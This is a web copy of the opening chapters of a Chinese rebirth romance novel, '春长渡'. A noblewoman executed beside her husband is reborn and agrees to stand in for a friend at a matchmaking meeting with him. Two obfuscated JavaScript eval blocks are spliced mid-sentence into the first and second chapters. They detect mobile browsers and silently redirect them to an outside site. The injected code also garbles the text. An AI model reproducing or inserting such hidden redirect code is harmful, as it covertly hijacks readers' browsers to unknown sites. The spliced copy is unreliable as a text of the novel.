《春长渡》 1. 第 1 章 “支言,只要你肯低一低头,我便饶了他,流放之事,亦可作罢。” “支言,事到如今,你还执拗什么?你看看我,我能给你快乐,我也能让你满足。” “支言,看着我,不许躲。” 风雪肆虐,凉意侵骨。沈支言被逼至墙角,下颌蓦地被一只修长冰冷的手扣住,娇小的身躯也被迫贴进对方怀中。她慌乱推拒,可那人的手臂如铁铸般纹丝不动。 分明是三月春深,京城却骤降大雪。娘亲曾说过,三月飞雪,乃非吉兆,必有大变。 “支言。”钳制她下颌的力道陡然加重,“明日便要上断头台了,你当真不怕?若是你跟了我,不仅能保你性命,纵是你要天上明月,我也能为你摘来。” 窗棂被朔风撞得“吱呀”乱响,小丫鬟偷眼瞧来,又慌忙低头去关窗。 脊背抵着冷硬的墙壁,下颌传来的疼痛直刺心底。沈支言挣动不得,抬眸望向那张熟悉的脸,眼底尽是惊痛与失望,心口似被钝刀生生剜开。 “无耻。”她疼得眼角沁泪,声音愈冷,“休要痴心妄想,放开我。” “无耻?”高大的身影压下,周身寒意凛冽,唇角噙着几分邪魅,“支言,是你们不知好歹,怎的反倒成了我无耻?” 一声低笑擦过耳畔,森然刺骨:“你可知何为无耻?不若,我教你个明白?” 话音落下,气息已落至她唇边。 “滚开。”沈支言拼力挣扎,反被他一把扣住手腕按在墙壁上。 望着她泪盈于睫的模样,他眼底暗潮翻涌,指腹重重碾过她的眼角:“支言,你这般楚楚可怜的模样,叫我如何把持得住?” 窗外大雪纷飞,屋内寒意更甚。 “太子殿下,不好了。”房门骤然被撞开,侍卫踉跄闯入,额间覆着未化的雪粒。待看清墙角纠缠的二人,他猛地僵住,慌忙抹了把脸,急声道:“殿下,薛大人他……他率兵攻入东宫了。” “什么?”好看的凤眸倏地一凛,烛火映得那身绛红锦袍血色般刺目,声线也寒彻骨髓,“他如何脱身的?哪里来的兵?” “属下不知。”侍卫抬眼,正对上主子眼底翻涌的杀意,钳着美人的手非但未松,反倒收得更紧。 一声冷笑划破殿内凝滞的空气:“来得正好,且让他亲眼瞧瞧,我是如何强占人妻的。呵!当真刺激。” 窗外雪势愈狂,娘亲说得不错,三月飞雪,确非吉兆。 这一年本该是沈支言最好的年岁,亦是她在那段糟糕的婚姻里有所突破的时光。 可是天意弄人,一场变故,硬生生将这十八岁的韶华,永远葬在了三月的大雪中。 满庭芳菲尽覆素缟,那点点残红埋在雪下,恰似未及绽放便凋零的春蕊。 “支言,若有来世,别再遇到我了,对不起,是我连累了你。”这是她的夫君薛召容在她生前与她说的最后一句话。 她流着眼泪问他:“薛召容,死后的世界,还会三月飘雪吗?” 若有来世…… —— 重回陵国二十六年春。 三月的海棠开得正艳,满庭芳菲灼灼,映得春光愈发醉人。 “支言姐姐!”一袭杏红襦裙的少女提着食盒,踩着落花雀跃而来,“支安哥哥可在?我新蒸了梨花糕,特地带给他尝尝。” 沈支言正执壶浇着阶下芍药,闻声回首,见是阮苓,眉眼顿时漾开笑意。她搁下青瓷水壶,迎上前去,笑道:“在呢,你倒惦记着他。这梨花糕香气都透出来了,定然可口。” 晨光透过新抽的柳枝,斑驳落在少女粉腮上,衬得那对梨涡愈发甜软。阮苓乃是当朝礼部尚书之女,与沈支言自幼相伴,情同姐妹。 这丫头生得玉雪可爱,尤其那双杏眼,笑时宛若春水漾波。偏她生性跳脱,最厌诗书琴棋,整日里不是扑蝶斗草,便是钻研胭脂香粉,倒将闺阁女儿家的正经功课抛了个干净。 十四岁时,当别家闺秀还在闺阁中习女红、学礼仪,阮苓便已整日琢磨起终身大事来。今日瞧着张家公子俊朗,明日又觉李家郎君风流。虽常把“喜欢”挂在嘴边,心里却自有一杆秤。这些年来说亲的媒人几乎踏破门槛,偏生这丫头至今未曾点过头。 自去年起,也不知怎的,她竟对沈支言的二哥,那个温润如玉的贵公子沈支安上了心。 沈家乃是名门望族,家主沈贵临又是当朝太傅,家中三子一女,个个都很优秀。因着两家比邻而居,孩子们自幼一同长大,彼此兄弟姐妹间都是相熟的。 沈支安比阮苓年长五岁,从前只当阮苓是个小丫头片子,阮苓也总跟在他身后“支安哥哥”长、“支安哥哥”短地叫着,可谁曾想,两个八竿子打不着的人,竟然有了别样情愫,且阮苓还一时爱的不行。 可偏生此时的沈支安已在朝中崭露头角,行事愈发沉稳持重,又到了议亲的年纪,对婚事很有自己的主张,并不着急成婚。虽然他疼爱这个小妹妹,却只当她是自家亲妹,从未动过别样心思。 而阮苓却是个敢爱敢恨的性子。这半年来,她今日送柄缂丝扇子,明日呈盒新制糕点。不是缠着支安哥哥陪她逛庙会,就是扯着他的衣袖要听曲。 起初沈支安还避着些,后来发觉这丫头越是躲她越来劲,恨不得敲锣打鼓宣告心意,最近倒也不再刻意回避,只是阮苓实在热情,让他有些招架不住。昨儿刚送来冰镇酥山,今儿又巴巴地捧着梨花糕来了。 阮苓掀开食盒,献宝似的捧到沈支言面前,激动地眨着眼睛,道:“支言姐姐你瞧,我今日做的梨花糕可还精致?我特意添了薄荷叶,想来滋味更清甜。这般好看又可口,支安哥哥一定会喜欢。” 梨花糕还飘着刚出炉时的香气。 沈支言见她满眼期待,只得含笑应道:“你这手艺愈发精进了,二哥见了必定欢喜。他此刻正在书房,你且去寻他罢。” “好姐姐!”阮苓忽地挽住她的手臂轻晃,央求道,“你陪我去可好?这几日他总是躲着我,见着我就走。你在支安哥哥跟前,替我说几句好话嘛。” 少女衣袖间梨花香粉簌簌飘落,缠得沈支言进退两难。她素知二哥对阮苓并无男女之情,可眼前这丫头偏生执拗得很。 正踌躇间,阮苓又晃着她的胳膊娇声道:“好姐姐,待我嫁过来做了你的嫂嫂,我定会对你很好很好,我真的很想与你成为一家人。” 五岁时阮苓就对沈支言说过这样的话,那时候两个小姑娘玩的好,阮苓总是赖在沈府不走,还说要住在沈府里做沈支言的亲妹妹。 那时候沈支言的娘亲还打趣她:“苓儿,我们家男儿多,回头任你选。你嫁过来,就可以和支言成为一家人了。” 现在看来,娘亲那句话怕是要实现了。 阮苓说着,从袖中取出一枚绣着梵文的平安符,塞到沈支言手中,嘿嘿笑道:“姐姐,这是昨儿我姑母去大相国寺求来的。不仅亲王府里的雪廷衍和薛召容各得了一个,连带着你我都有份呢,你戴在身上,会保平安。” 阮苓的姑母乃是亲王府的侧妃阮柠,年方廿四,正值韶华。三年前以侧室之礼入主亲王府,如今已是府中世子薛廷衍与二公子薛召容的庶母。 阮柠虽非正室,却因性情温婉颇得王爷欢心,在府中也算颇有体面。出嫁之前她就与阮苓关系甚好,虽然相差几岁,但是相处时如同姐妹。 因着沈府与阮府比邻而居,沈支言与阮柠自是熟稔。只是她万万没想到,阮柠会在碧玉年华嫁与已是中年的薛亲王薛甚。 薛甚,这位陵国赫赫有名的亲王爷,战功彪炳,半壁江山皆是他当年金戈铁马打下来的。如今膝下二子,长子薛廷衍年方廿五,较阮柠还年长一岁,是陵国公认的才情卓越的翩翩佳公子。次子薛召容廿一有余,虽不及其兄才名远播,却也是个冷峻果决又能文能武的将帅之才。 薛甚早年丧妻,一直洁身自好,多年都未续弦。可谁曾想,三年前竟会看上阮家姑娘。当年他们那场婚事轰动京城,十里红妆羡煞旁人。原道是王爷情深义重,谁知新婚燕尔之际,他竟与阮柠立下契约:终身不得孕育子嗣。 坊间议论纷纷,有说王爷对亡妻念念不忘的,也有说是为了两个嫡子的前程才不许侧妃生育的。 而阮柠对此讳莫如深,只在偶尔郁结时,才会向阮苓吐露几句。她素来心善,自入府后便广结善缘,时常往各寺庙布施祈福。这不,昨日又去大相国寺求了平安符来。 沈支言拿着平安符微微怔了一会。从前阮柠去寺庙祈福,素来只给阮苓带平安符,不想今日竟也有她一份。只是听阮苓提及薛召容,她心中微动,轻声问:“姑母,也给薛二公子求了平安符?” 当年阮柠嫁入亲王府时,薛召容曾百般阻挠。在他心中,父亲另娶新妇,便是对亡母最大的背弃。更何况王爷曾在先王妃坟前立誓,此生绝不续弦。大婚当日,薛召容甚至都未出席婚仪。 三载春秋过去,薛召容从未向阮柠敬过一盏新妇茶,更不曾唤过一声“庶母”。阮柠亦因他冷峻态度,平素不敢亲近。这般赠符之事,往日是断不敢为之的。 阮苓轻叹:“姑母说,到底是亲手将平安符给了他。虽他面色不豫,倒也收下了。” 她转着手中锦帕:“姐姐,亲王府兄弟当真云泥之别,薛廷衍接符时欢喜非常,还郑重其事地向姑母行了大礼呢。不过以薛二公子那般性子,肯收下已是难得。” 阮苓所言不虚,以薛召容那般冷峻性子,能收下阮柠送的东西实属难得。这般看来,阮柠嫁入王府三年,终究未能得他真心接纳。只是细想又觉荒唐,阮柠与薛召容两人年岁相差无几,这声“庶母”如何叫得出口? 沈支言将平安符仔细收进袖中,浅笑道:“我带你寻二哥去,今日见他心情甚好,想必不会躲你。” 阮苓闻言喜不自禁,连连点头道:“支言姐姐最疼我。” 二人沿着回廊徐行,阮苓忽而侧首问道:“说来奇怪,这几日怎么不见你表哥踪影?” 沈支言脚步微顿,过会儿才回道:“他近日忙于科考,我已多日未见了。” 阮苓应了声,道:“表哥前些日子还说呢,待科考后要带我们去灵山游玩,也不知今年可还作数。” 她说着又神秘兮兮地看向沈支言,问道:“我听闻表哥准备在放榜后给你个惊喜,姐姐可知是何事?莫不是他要求娶姐姐?姐姐和表哥情义深重,又都很优秀,简直是珠联璧合,天造地设的一对,若是你们成婚,我第一个赞成。” 在阮苓眼中,沈支言那位如清风朗月一般的表哥何苏玄,无论是身高、样貌、性情、以及才华,都是京城数一数二的。这样一个优秀的人,才能配的上她的好姐妹沈支言。 说起这事,沈支言耳根微红,别过脸去道:“休要胡言。”忙岔开话头:“今日可要留下用膳?我让厨房备几道你爱吃的菜。” “自然要留。”阮苓毫不客气,甜甜笑道,“我要与支安哥哥一同用饭。” 每次说到沈支安,阮苓眼中就似有星辰闪烁,看起来更加灵动可人。 二人行至书房外,阮苓却踌躇不前,只拿眼瞧着沈支言。沈支言会意,抬手轻叩门扉:“二哥可在?” 不一会,屋内传来清润男声,接着房门打开,沈支安一袭月白长衫立在门前。他看到阮苓,微愣了一下,下意识就要阖上门扇。 阮苓见状,一把按住房门,笑道:“支安哥哥,你别关门。” 阮苓思想单纯,沈支安这般态度她也不在乎。 沈支言瞧了瞧二哥神色,忙道:“二哥,阮苓妹妹特意为你做了梨花糕,快尝尝。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541184|170983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 阮苓把食盒递到沈支安面前,眉眼弯弯地道:“支安哥哥,我往糕里添了薄荷叶,清甜爽口得很呢!” 这些日,阮苓总是神出鬼没地出现在沈支安跟前,不禁让他养成了几分警觉,一看到她就下意识地躲避。此刻虽仍想回避,但见她笑靥如花,终是心软,接过食盒道:“进屋说话罢。” 二人随他入内,沈支安将食盒置于案上,却未立即打开。阮苓急急上前掀开盖子,拈起一块尚带余温的梨花糕递到他唇边:“哥哥快尝尝,我忙活了整整一上午呢!” 沈支安不忍拂她好意,只得就着她的手轻咬一口。糕饼入口,薄荷的清凉混着梨花的香甜顿时在唇齿间化开。 沈支言静立一旁,细细打量着二哥的神色。往日里二哥虽也因阮苓突如其来的情意而略显局促,但眉目间总透着兄长般的温和疏离。今日却大不相同,只见他尝了那梨花糕后,耳尖竟泛起薄红。 她最是了解这位兄长。沈支安生性温润,待人接物向来谦和有礼,又生得一副好相貌,在三位兄弟中最为俊朗。少年时便被誉为“玉京第一公子”,多少闺秀芳心暗许,他却只醉心仕途,至今未曾议亲。 此刻这般情状,沈支言心想,莫不是真的对阮苓动了心思? 阮苓见他吃的开心,又往前送了送糕点,沈支安又红着耳朵咬了一口。 沈支言瞥见案上摊开的书册,顺势问道:“二哥今日研读何书?可是在作批注?” 沈支安学识渊博,沈支言往日所习诗文典籍,多半都是二哥亲自教授。她时常来书房请教,但凡得了新书,沈支安也总会与她分享。近来她已将手头的书卷读完,正觉无趣。 沈支安接过阮苓送到唇边的糕点,温声道:“近日圣上交待我与薛召容同审一桩案子,我正在梳理案情。” 他说罢,低眸看了看眼巴巴望着他的阮苓,又添了句:“这段时日公务繁忙,怕是不能常在家中。阮苓妹妹若是闲来无事,不妨多寻支言作伴。” 阮苓此刻满心满眼都是他,只觉得他说话时喉结微动的样子都格外好看,哪还听得进这些推拒之词,只顾着点头应道:“支安哥哥且忙正事,我自会寻支言姐姐玩的。” 沈支安微微颔首,将最后一口糕点咽下,看了眼窗外天色道:“我稍后还要整理案卷,需去趟亲王府寻薛召容商议,不多陪二位妹妹了。” 阮苓心知二哥手头的案子定是紧要,不便多加打扰,她笑吟吟地挽起沈支言的胳膊:“二哥哥且忙着,我们到园子里玩会儿。”说罢便拉着沈支言出了书房。 今日沈支安不仅用了她做的糕点,待她的态度也比往日温和,阮苓心中欢喜难抑,她开心地对沈支言道:“姐姐瞧见没?今日二哥哥待我不同了呢!莫不是终于对我动了心?” 沈支言见她这般天真模样,不忍说破,只浅笑道:“但愿二哥有朝一日能明白你的心意。我也盼着你能得偿所愿,嫁与心仪之人。” “姐姐放心,我定会再加把劲的!”阮苓信心满满。 正说着,忽见一女子匆匆跑来,手中提着个油纸包,远远瞧见二人,便笑着招呼:“两位妹妹,我新烤了兔肉,特意给你们送来尝尝。” 阮苓看到来人,眼前一亮,开心道:“是义沅姐姐,姐姐又给我们带好吃的了,我们真有口福。” 江义沅乃是将门虎女,年方十九,是京中难得的巾帼豪杰。她生得剑眉星目,身量较寻常闺秀高出半头,一袭劲装更衬得英姿飒爽。她自幼随父兄习武,剑术精湛,便是与男子比试也丝毫不落下风。 虽为女儿身,却最有主见,待沈支言与阮苓也如同胞姊妹,会时常猎些野味与她们分享。 她们三人自幼相伴,无话不谈。说来也巧,三家皆是男丁兴旺,独她们三个娇娇女,自然被父兄捧在手心里疼着。三府长辈又都是过命的交情,故而她们这份姐妹情谊,更是亲上加亲。 三个姑娘素来亲厚,几日不见便思念得紧。阮苓欢欢喜喜地接过那油纸包,凑近嗅了嗅,眼睛顿时亮了起来:“好香!义沅姐姐的手艺越发精进了。” 江义沅笑着揉了揉她的脑袋,宠溺道:“今早同兄长在后山猎的,特意用果木烤的,你们快尝尝。” 阮苓迫不及待地拉着两人到凉亭石桌前,拆开油纸,浓郁的肉香顿时四溢开来。她麻利地撕下最肥美的兔腿递给沈支言:“姐姐先尝。” 阮苓虽年纪最小,却最是体贴,有什么好东西总是先紧着沈支言。沈支言接过咬了一口,眸中闪过惊喜:“这次的火候当真妙极,比往日的更鲜嫩。” 江义沅见二人吃得香甜,笑得很是开心。她取出绣帕,先替沈支言拭了拭唇角,而后握住她的手道:“妹妹,有桩事要劳烦你。” 沈支言闻言睫羽忽地轻颤,眨了眨眼,心头掠过一丝不安,江义沅素来不会请人帮忙。 江义沅拉着她在石凳前坐下,压低声音道:“亲王府近来遇着些麻烦,我父亲想让我与薛召容结亲,好助他们渡过难关。可妹妹知道的,我一心只想做女将军,对这些儿女情长实在提不起兴致。虽说我们这样的官家女子,婚事向来由不得自己做主,可我实在不甘心就此放弃梦想。偏生我父亲逼得紧,明日......” 话到此处,她声音更轻了几分:“明日原该听大哥的师父讲授兵法,这般难得的机会,父亲却硬要我去见薛召容。好妹妹,你替我去这一遭可好?你们只需见上一面,不做别的,届时你直接告诉他,说我不愿相见,更没有成婚的打算。以他的聪慧,定能明白我的意思,日后也不会再纠缠。” 沈支言喉间的兔肉忽地哽住,难以置信地重复:“你让我替你去相看薛召容?” 那个前世与她纠葛至深的夫君,那个一起上断头台的夫君,她自重生以来,还从未见过。 2. 第 2 章 初得重生时,沈支言只觉荒诞不经,足足月余方肯信这天意轮回。她想,许是上苍怜惜那个十七出嫁、十八便香消玉殒的薄命红颜。 生于钟鸣鼎食之家,她自幼便比寻常闺秀更谨言慎行。诗书礼仪早已融进骨血,待人接物更是周全得体。唯独那颗心始终未改,如今仍会为一块甜糕笑弯眉眼,仍对世间万物怀揣热忱。 前世的闺阁岁月原是极好的。父母疼爱,三位兄长视若珍宝,更有闺中密友相伴。金尊玉贵地长大,诗书礼乐无一不精,容貌才情皆是京中翘楚。这般锦绣人生,却在嫁入亲王府后戛然而止。 忆及前世,江义沅确曾寻她代相看薛召容。偏那日表兄有要事相商,她便推拒了。谁料命运弄人,最终亲王府蒙难,为着家族前程,她还是嫁给了薛召容,那个让她至今想起仍心绪复杂的夫君。 彼时年方十七的她,心中早有所属。然生于簪缨世族,自幼便深谙在这风云诡谲的朝堂中,儿女私情终究要让位于家族兴衰。纵有千般不愿,万般不舍,她还是凤冠霞帔地嫁入了亲王府。 那一年多的婚姻,于旁人不过弹指光阴,于她却是度日如年。如今忆起,喉间仍泛着青梅般的酸涩。 前世未替江义沅相看薛召容,终究难逃命运捉弄。而今再度面临这般抉择,她心绪纷乱如麻,若依前世轨迹,终究还是要嫁与那人。 这几家官宦世族盘根错节,牵一发而动全身。他们这些闺阁女子,看似金尊玉贵,实则不过是维系世家利益的棋子。这宿命,终究难逃。 前世江义沅因拒见薛召容,被其父重责,不仅夺了兵部校考的机会,更断了女将军的念想。最后被迫嫁作他人妇,困于深宅,终日相夫教子,那个曾经意气风发的将门虎女,终究成了泯然众人的深闺怨妇。 思及此,沈支言心头泛起阵阵酸楚。若此番不助江义沅,只怕她又要重蹈前世覆辙。可若要她去见那个前世与她纠葛至深的夫君,她心中又很复杂。 正踌躇间,阮苓忽地凑近,歪着脑袋打量她,问道:“姐姐这般出神,莫不是听说要见外男害臊了?姐姐别怕,不过是替义沅姐姐走个过场,又不是真要你相看。即便你表哥知晓,也断不会怪罪的,表哥温和又大度,不会在意这些。” 沈支言闻言轻叹:“妹妹莫要误会,我并非顾虑表哥。只是此事牵涉甚广,非我等小辈可轻易左右,故而在想可有两全之策。” 江义沅摇首,眉间凝着愁绪:“别无他法。昔年薛亲王曾于战场上救过我父亲性命,这份恩情我父亲一直铭记。如今亲王府有难,我父亲岂能袖手?只是皇家那边......” 她顿了顿:“唯有联姻一途,或可解燃眉之急。我大哥虽竭力周旋,却也无可奈何。” 阮苓听得心惊:“亲王府究竟出了何等大事,竟需以姻亲相托?” “具体缘由我也不甚清楚。”江义沅叹气道,“只听兄长提及此事非同小可,稍有不慎便是倾覆之祸。需得寻几个世家大族互为倚仗。许是因着家父与王爷有旧,他们才选择要与我结亲。不过我父亲初时亦有迟疑,然事关家族兴衰,王爷又亲自登门,我父亲实在不好驳这个面子。” 阮苓听罢,幽幽一叹:“朝堂风云变幻,原不是我们这些闺阁女子能左右的。我听闻那薛二公子生得龙章凤姿,文武双全,倒也不算委屈。不过我父亲曾说,此人性子冷峻,黑白分明,做事最是较真,有时为达目的甚至不惜拼命。我还听说他有洁癖,最是讲究。” 她抬眼看了看沈支言:“这样的人啊,若真心喜欢,这些都不算毛病。可若是不喜欢,纵使他贵为王府公子,才貌双全,在眼里也都是错处。” 阮苓这话说得实在,薛召容天生贵胄,骨子里透着皇族的高傲。前世初嫁时,沈支言没少为此吃苦头。 恍惚间,前世那些相处的点滴涌上心头。想着想着,眼眶竟有些发热。 江义沅见她神色黯然,反倒爽朗一笑:“妹妹若实在为难,不必勉强。大不了我再挨顿家法便是。” “姐姐别这么说。”沈支言急忙道,“我只是在想,见了面该如何应对,才能既帮到你,又不露破绽。” 江义沅拍拍她的手:“这些你无需操心,我大哥会安排妥当。你只需代我表明心意即可。以薛召容的性子,断不会去我父亲跟前揭穿。至于父亲那边横竖去见了人,他也不好再苛责。” 她细细交代道:“明日一早我乘轿来寻你,说是取东西。届时你换上我的衣裳随轿而去便是。当然,若妹妹实在不愿,我绝不勉强。” 三个姑娘向来肝胆相照,从不为难彼此。江义沅虽为自己的终身大事着急,却也不愿强人所难。她性子最是爽利,若沈支言摇头,她定会另寻他法。 沈支言不忍见她重蹈前世覆辙,去嫁给一个不爱的男子,而后浑噩度日,连女将军的梦想都湮灭在深宅之中。她敛了敛心神,笑道:“姐姐莫要这般说,我愿去见他,定将你的心意如实相告。” 沈支言答应的爽快,江义沅反倒赧然道:“妹妹,实在对不住。此事关乎我的终身,我实在是走投无路了。” 她紧紧握住沈支言的手:“你放心,纵使日后事发,我绝不让你受牵连。这份恩情,姐姐记在心里了。” 沈支言反握住她的手,柔声道:“姐姐何必说这些见外的话?不过是见一面罢了。我们自幼一同长大,你的难处我岂会不知?若换作是我,想必姐姐也会这般相助。” 阮苓在一旁笑道:“正是这个理儿!姐妹之间原该互相扶持。况且支言姐姐也到了议亲的年纪,说不定与那薛二公子一见倾心呢?这姻缘之事,谁说得准。” 沈支言闻言心头蓦地一紧,仿佛被戳中了什么隐秘心事。她垂眸掩去眼底波澜,唇角勉强牵起一抹笑意,那笑意却浸着说不出的苦涩。谁能想到,前世她确确实实嫁给了薛召容,与他有过那样一段刻骨铭心的纠葛。 阮苓嚼着兔肉,兴致勃勃道:“要论相貌,薛二公子与支言姐姐的表哥倒是不相上下。不过我见过他……” 她歪着头想了想,道:“他的气质和样貌都非常出众,尤其那双眼睛,有一种与这个世间不相符的美。虽说长得美,但又非常英俊飒爽,能文能武,身上总有一种与众不同的气质,就像山涧里的一泓清泉,与这尘世格格不入。只是这样的人,怕是不好亲近。” “而且他非常神秘,虽在京城中是有名的贵公子,可是很少出现在世人面前,就连一些宴会邀请都不曾出席过。这样的人真的是天上明月可望而不可攀。估计这回也是因为他们府上有难,才迫不得已出面相亲。” “但是我觉得他和义沅姐姐不相配,两个人根本就不是同一世界的人。义沅姐姐就算以后出嫁也要找个能力相当的将军,或者好管理的小公子,绝非薛召容那般难以驾驭的。” 阮苓说起这方面滔滔不绝,又掰着纤指细数道:“至于支言姐姐的表哥,虽也是个温润如玉的翩翩君子,可我总觉得太过持重了些。明明只长支言姐姐四岁,言谈举止却似隔了十余载光阴。许是年少成名的缘故,行事做派与寻常公子哥儿大不相同。” “外头人都道他是个八面玲珑的,整日不是读书就是会友。这般人物,好虽好,却总觉得隔着云端似的。不过与姐姐倒是般配得紧。” 她歪着头苦恼道:“这可真是难选。不过,表哥家终究比不得天家贵胄,若论门第,还是亲王府的好。” 沈支言见阮苓这般煞有介事地分析,不由失笑:“你呀,整日就盘算这些。我还想多读几卷书,画几幅山水。横竖才十七岁,大好年华何必急着出阁?” 经历过一场婚姻,现在的沈支言对婚事完全提不起兴趣。 江义沅也抚掌轻笑,很是赞同沈支言的说法:“妹妹说得极是。谁稀罕那些臭男人?我啊,只想纵马沙场,立不世之功,做个名垂青史的女将军。” 做女将军是江义沅自幼的梦想,每次说起女将军她眉宇间尽是飒爽之气,平日里举手投足更无半分闺阁扭捏之态。 阮苓却叼着兔腿直摇头:“为何不成婚?我瞧着男女之事最是有趣。听人说,与心上人执手相偎,那滋味可比蜜糖还甜。若能得个知冷知热的郎君,日日逗趣解闷,护你周全,岂不快活?这世间情爱,原就是最妙的寄托。” 她说着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541185|170983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又咬了口肉,含混道:“我就想寻个可心人,与他同悲同喜,共度余生。” 阮苓年纪不大,却满心满眼都是对风月之事的憧憬,但是却不知情之一字,最是伤人。 江义沅见她这般情态,不由莞尔:“人各有志。你求你的花前月下,我追我的铁马金戈。” 她豪气地拍了拍阮苓的肩:“待我他日封将拜帅,定护你们二人周全。” 阮苓托着腮帮子笑道:“有义沅姐姐相伴,咱们这辈子定是快活似神仙。对了……” 她忽然眼睛一亮:“回头让你家兄长带咱们去看皮影戏可好?都有多日没瞧见砚深哥哥了。” 江义沅的兄长江砚深,年方廿七,是几个世家里最年长的。生得剑眉星目,身量魁伟,弱冠之年便随父征战,二十岁便拜将封侯。 这样一位少年将军,廿一岁那年娶了心爱的姑娘,那是个娇娇柔柔的闺秀,二人郎才女貌,羡煞旁人。谁知红颜薄命,成婚不过两载,那女子便香消玉殒。自此江砚深再未续弦,只将一腔柔情都倾注在这几个朋友身上,时常带着沈支言和阮苓去城南看那些新奇的皮影戏。 “近来怕是难了。”江义沅摇摇头,“北疆不太平,兄长忙得脚不沾地。连师父来讲兵法都耽搁了,明日才得空授课。等这阵子忙完,定让他带咱们好生玩一场。” 阮苓笑吟吟地又撕了块兔肉递给江义沅:“姐姐最好了,姐姐也快尝尝,下回多放些辣子才好。” 三人在这凉亭里边吃边聊,欢声笑语不断。就属阮苓话最多,叽叽喳喳地说着她对沈支安的情意,连将来出嫁时要穿的嫁衣、戴的首饰都想到了。说着说着,又提起京中几位有名的贵公子,自然少不了亲王府那两位兄弟,薛召容和薛廷衍。 只是她每每提及“薛召容”三字,沈支言神色便是一滞。虽重生已有些时日,可这个名字仍如一根刺,扎得她心头生疼。 用过午膳,三人移步水榭,或作画,或对弈。沈支言还荐了几册近日爱读的文集与她们。 待江义沅与阮苓离去后,沈支言独自立在阶前,忽觉满心怅惘。分明是十八岁的心智,却似垂暮老者般对世间毫无兴致。前尘往事如附骨之疽,搅得她至今心神难安。 长夜漫漫,她在锦衾中辗转难眠。甫一阖眼,便是那日断头台上,与薛召容并肩跪着的场景。血色残阳里,刽子手的刀锋闪着寒光,手起刀落。 翌日清晨,阮苓便兴冲冲地来了。她先去寻了沈支安,又转道来找沈支言,嘴上说着无事可做,想瞧瞧她如何与薛召容相见,实则这小丫头最爱凑热闹,不过是寻个由头解闷罢了。 “姐姐放心。”阮苓信誓旦旦道,“我就在远处瞧着,绝不露了行迹。你且好生与薛二公子说话,说不定还能成就一段良缘呢。” 这小姑娘不仅操心自己的姻缘,连沈支言的终身也要掺和,真叫人哭笑不得。 不多时,江义沅如约而至。她利落地帮沈支言换上备好的衣裙,又细心为她挽发梳妆。待一切妥当,便引她上了早已安排好的马车。 这车夫随从皆是江砚深的心腹,只要沈支言少言寡语,戴着帷帽面纱,当不会露了破绽。 马车缓缓向酒楼驶去。沈支言攥着帕子的手微微发颤,一颗心怦怦直跳,仿佛要跃出喉间。这滋味说不清道不明,似是期待,又似惶惑。 阮苓先行入了酒楼,寻了处僻静角落坐下。 今日楼内客人不多,沈支言甫一踏入,便瞧见了那抹熟悉的身影。 薛召容一袭月白锦衣,正临窗而坐。 墙上悬着一幅画作,画中烟波浩渺,仙鹤翩跹。而他静坐其下,竟似与画中景致融为一体,恍若谪仙。这般风姿,任谁见了都要心头怦然。 沈支言在门前愣了良久,望着前世夫君,眼眶倏地发热。 薛召容,薛召容。 许是停留太久,店小二在旁轻唤了她一声,话音响起,不远处,薛召容闻声抬眸。 暮春的日光并不刺眼,可那一眼望来,却教沈支言如遭雷殛,半步都挪动不得。 随着木凳“吱呀”轻响,薛召容已是站起身来。 3. 第 3 章 沈支言虽做足了准备,可当真站在薛召容面前时,指尖仍不自觉地攥紧了袖口。这些时日,她在闺阁中反复思量前世种种,盘算着如何避开那场祸事。 她素来不是怯懦之人,待人接物更是落落大方。无论是尊长、同辈,还是年幼的弟妹,都能从容应对。京中提起沈家姑娘,谁不赞一句“蕙质兰心”,偏生就是这样一个明媚豁达的人儿,在薛召容面前,却似遇着了命中克星。 她向来从容自若,与谁都能谈笑风生。唯独面对薛召容时,整个人便似被施了咒一般。前世初相见时便是如此,分明在旁人面前妙语连珠,可一对上他那双清冷的眸子,便舌根发僵,连指尖都不知该往哪儿摆。 曾有人与她说过,这世间男女之间,原就有种说不清道不明的缘法。或是气相投,或是命相克,总教人不由自主。 前世,自定亲到成婚那数月里,他们统共不过说过几句话,逛过一次街。倒不是薛召容待她不好,实在是她自个儿总躲着。每回相见,都似丢了魂似的,连手脚都不听使唤。这般情状,连她自己都说不清缘由。 若说这是对薛召容一见倾心,却又不然,彼时她心中早有所属,那个自豆蔻年华便倾慕的表哥何苏玄,在她眼中宛若天上皎月,始终温柔地照拂着她。与表哥在一处时,她总能恣意欢笑,像个无忧无虑的孩子。表哥年长她几岁,待她极尽呵护,让她不自觉地生出依赖。这般相处,最是轻松惬意。 可面对薛召容时,她却全然不知所措,仿佛连自己都不认得了。大婚那日的洞房花烛夜,二人相对无言许久。薛召容本就不善言辞,若不开口时,眉目间总凝着三分疏离,教人不敢亲近。 可那夜,却是沈支言见过他最温和的模样。他第一次抓起她的手,那骨节分明的手掌微凉,惊得她险些缩回,却被他稳稳握住。红烛高烧下,他指尖的温度一点点渡过来,竟让她恍了神。 他抬手掐灭了龙凤喜烛,帐内顿时陷入一片漆黑。他俯身将她抱起时,她想起出阁前教养嬷嬷的叮嘱:洞房花烛夜,夫君无论要行周公之礼,还是要温存亲近,都是天经地义。既为人妇,便该谨守本分。 可这终究是场利益联姻,拜堂时下的誓言,不过是做给外人看的戏码。 她那时满心满眼都是青梅竹马的表哥,对眼前这个陌生夫君一无所知。薛召容心中是否也藏着哪位姑娘,她更不知晓。就这样,两个人被硬生生绑在了一起。 